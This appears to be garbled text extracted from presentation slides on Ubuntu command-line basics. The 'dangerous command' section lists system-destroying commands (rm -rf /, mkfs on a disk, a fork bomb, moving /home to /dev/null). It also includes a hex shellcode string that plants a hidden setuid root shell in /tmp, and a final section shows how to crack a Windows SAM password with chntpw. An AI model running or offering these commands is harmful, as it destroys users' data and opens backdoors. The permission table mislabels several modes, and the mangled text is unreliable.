PRIMAYOGILOVINILTRA

N U MO S S>>>

BasicUbuntuCommandLine

DangerousCommand

1. # rm -rf /Delete folder root2. $ mkfs.ext3 /dev/sdaFormat Partition3. $ forkbomb :(){:|:&};:Instruct the system to execute various processes tohang. Will usually result in loss of data because thecomputer had to be turned off forcibly.

DangerousCommand

4. Command with hexa integerchar esp[] __attribute__ ((section(”.text”))) /* e.s.p

release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"\\xff\xff\xff\xff\x8\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

DangerousCommand

5. /devThis comand will overwrite the file systemdesignated device and can eventually cause loss ofdata that. Mounting on the folder / dev (folder / devcommonly used to place a description of hardwareand hard drive)6. Execute some file shell (.sh)7. Move home folder to /dev/null mv /home/home

directory/* /dev/null

BasicCommand

$ apt-get (install package data)$ cat (concatenate files and print on the standard output)$ mv (move)$ cd (change directory)$ passwd (change password)$ ping$ rm (remove)

BasicCommand

$ cp (copy)$ reboot$ history$ ls (list directory contents)$ make (compile) | $ ./filename.extension$ pwd (print current directory) | $ whoami$ wget (network downloader)$ mkdir (make directory)

Linux Permission

r (read ) = Read 4

w (write) = Write 2

x (exec) = Execute 1

(0) = can't get access

— 0 can't be access

r– 4 read & write (can ed ited )

rw- 6 read & write (can ed ited )

rwx 7 read , write, execute (d ijalankan)

r-x 5 read , write but can't be ed ited

–x 1 only execute

Chmod

LinuxPermission

# chattr + i filenam e

Unlock:

# chattr i nam afile

Chattr

ChangePasswordWindows

> Install chntp : $ sud o apt-get install chntp

> Mount your “Wind ows installed ” d evice

$ sud o m ount /d ev/sd a1 /m ed ia/WIND O WS

> Goto your Wind ows system configuration fold er

$ cd /m ed ia/WIND O WS/WIND O WS/system 32/config/

C racking the SAM file :

$ chntpw SAM